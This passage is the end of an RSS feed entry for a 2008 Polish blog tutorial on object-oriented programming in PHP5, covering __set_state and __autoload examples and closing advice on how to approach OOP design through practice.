<a href="http://www.php.net/var_dump"><span class="kw3">var_dump</span></a><span class="br0">&#40;</span><span class="re0">$obiekt2</span><span class="br0">&#41;</span>; <span class="co1">// wyswietli string(206) &quot;magiczneMetody::__set_state(array( 'user_id' =&gt; array ( 'name' =&gt; 'vivee', ), 'fn' =&gt; 'file.txt', 'mode' =&gt; 'r+', 'handle' =&gt; false, 'temp1' =&gt; 'test', 'temp2' =&gt; 'test drugi', ))&quot; </span></p>
<p><span class="co1">// zasada dzialania funkcji __autoload()</span><br />
<span class="re0">$nieistniejaca_klasa</span> &nbsp; &nbsp;= <span class="kw2">new</span> jakasKlasa<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// nastepuje proba stworzenia instancji niedostepnej klasy - PHP poprzez __autoload() postara sie zaincludowac plik z klasa i ponownie utworzyc obiekt</span><br />
<span class="re0">$nieistniejaca_klasa</span>-<span class="sy0">&gt;</span><span class="me1">istniejacaMetoda</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// jesli uda sie utworzyc obiekt zostanie wywolana nastepujaca metoda</span><br />
<span class="kw2">?&gt;</span></div>
<h2>Do poduszki - metodyka postępowania wstępnego...</h2>
<p>Dziwnie to wygląda, ale na koniec wypadałoby napisać kilka zdań o tym jak w ogóle podejść do programowania obiektowego. Bo pisanie klas to nie tylko bezmyślne trzepanie kodu w postaci metod tak, żeby później można to było z marszu i masowo użyć poprzez instancję obiektu klasy.</p>
<p>Jeśli pracujesz nad dużym projektem, to prawdopodobnie wiesz co robić. Dokumentacja i od cholery konstruktywnych komentarzy w kodzie. Pomimo, że OOP w przypadku podziału pracy na kilka osób ma na celu ułatwienie pracy w taki sposób, aby nie musiało się przeglądać całego kodu napisanego przez współtowarzysza a jedynie skorzystać z stworzonych przez niego metod i pól to niekiedy nie można zrobić czegoś inaczej niż modyfikując kod współpracownika.</p>
<p>W mniejszych projektach, szczególnie tych gdzie programuje tylko jedna osoba jestem za tym, żeby nie marnować niepotrzebnie kartek papieru i próbować tworzyć układając plan w głowie. Wystarczy przecież logicznie myśleć. Wiem, że dla niektórych wydaje się to abstrakcyjne. Dla mnie też było, gdy zaczynałem. Musicie po prostu napisać kilka skryptów, kilka tysięcy linijek kodu i zrozumiecie o co chodzi. Podstawą jest wyrobienie sobie swojego stylu pisania na podstawie aktualnych dogmatów tworzenia kodu. Pamiętajcie, że zarówno w obiektowym programowaniu w PHP, jak i zresztą w każdej dziedzinie życia sucha i niekiedy bezsensowna teoria <strong>nigdy</strong> nie nauczy Was tyle co własna praktyka. Może jedynie być informacyjnym preludium do Waszej dalszej, indywidualnej nauki, czy pracy...</p>
<p>Mam nadzieję, że wybaczycie mi trochę powtórzeń (i zarazem wszelkie pomyłki), niestety w większości były niezbędne do opisu poruszanej problematyki. Niedługo kolejna część o programowaniu zorientowanym obiektowo.</p>
<p style="font-size: 9px;">copyright &copy; 2008, <strong>m1chu</strong></p>
<p style="font-size: 9px;">udostępnione na licencji <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/" title="CC">CC</a> dla <strong>vivee.info</strong> i <strong>m1chu.eu</strong></p>
<img src="http://vivee.info/?ak_action=api_record_view&id=155&type=feed" alt="" /><p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fvivee.info%2F2008%2F09%2F17%2Fwstep-do-programowania-zorientowanego-obiektowo-w-php5%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p>]]></content:encoded>
			<wfw:commentRss>http://vivee.info/2008/09/17/wstep-do-programowania-zorientowanego-obiektowo-w-php5/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

